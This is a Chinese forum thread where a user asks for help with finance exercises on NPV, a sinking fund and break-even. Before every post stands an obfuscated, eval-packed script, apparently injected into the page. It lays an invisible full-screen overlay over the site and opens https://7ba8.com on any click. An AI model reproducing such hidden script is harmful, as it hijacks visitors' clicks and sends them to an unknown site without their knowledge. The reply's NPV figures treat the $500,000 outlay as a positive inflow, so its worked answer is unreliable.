数学题求解

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>Issue 2:
On the 1st December 2010, the company w ishes to invest $500,000 in a project. Unfortunately,
it is not certain which project to invest in, as it has two options which fulfil the company’s
strategic direction.
Option Invest Year 1 Year 2 Year 3 Year 4 Year 5
A $500,000 $100,000 $100,000 $150,000 $100,000 $200,000
B $500,000 $200,000 $100,000 $150,000 $100,000 $100,000
If the company assesses all of its projects using an 8% discount factor, which investment option
should the company take? Why?
As an alternative to Issue 1 and as part of the company’s preparation for the project, the
company has decided that it wishes to have available the $500,000 in cash by 1st December,
but does not necessarily wish to use the money from its money market account. To this end the
company has decided to save an additional $500,000. Prepare a sinking fund table to show the
monthly accumulation of funds, assuming the company commences saving by placing its first
deposit into an account earning 8%pa interest compounded monthly on the 1st August 2010. By
what date will the company have saved $250,000 to pay a deposit to the contractors involved in
the new project? How much interest will the company lose, if it withdraws the $250,000 from
this savings account and not leave in the account for the full period?
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>issue 2
SHARP 738- Project A: 500000 DATA, 100000 DATA, 100000 DATA, 150000 DATA, 100000 DATA, 200000 DATA, 2nd F Cash, 8 I/Y, ENT ↓, Comp 得到NPV=1007020.935
Project B: 500000 DATA, 200000 DATA, 100000 DATA, 150000 DATA, 100000 DATA, 100000 DATA, 2nd F Cash, 8 I/Y, ENT ↓,COMP 得到NPV=1031555.208
选择NPV较大的值,即project B。
issue 1没看懂=。=
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>就是咯,技术经济学的现值法或者年值法就解到了
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>回复 2# hope1908


    不好意思,本人不才,没能很看懂,能详细点么
5
 楼主| | 只看该作者
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>Issue 3:
Assuming the profits for the project are as shown in Issue 2 above, for both options you are
asked to calculate the maximum annual factory capacity for each of the five years to deliver the
profits as shown. To do this you have been provided with the following information from the
marketing department for year 1.
                                          Option A               Option B
Unit sale price                   $10.00                  $15.00
Unit material cost price      $5.00                    $10.00
Annual Administration cost $400,000.00        $400,000
Expected annual
administration cost increase5%                      5%
Additionally you are asked, so that the company is aware of any possible effects due to
downturns in sales, what the annual break even point is in unit sales for each of the five years.
6
 楼主| | 只看该作者
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>实在麻烦大家,确实有点纠结于题目的意思
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Copyright © 2020-2021 tigtag.com |网站地图  
快速回复 返回列表 返回顶部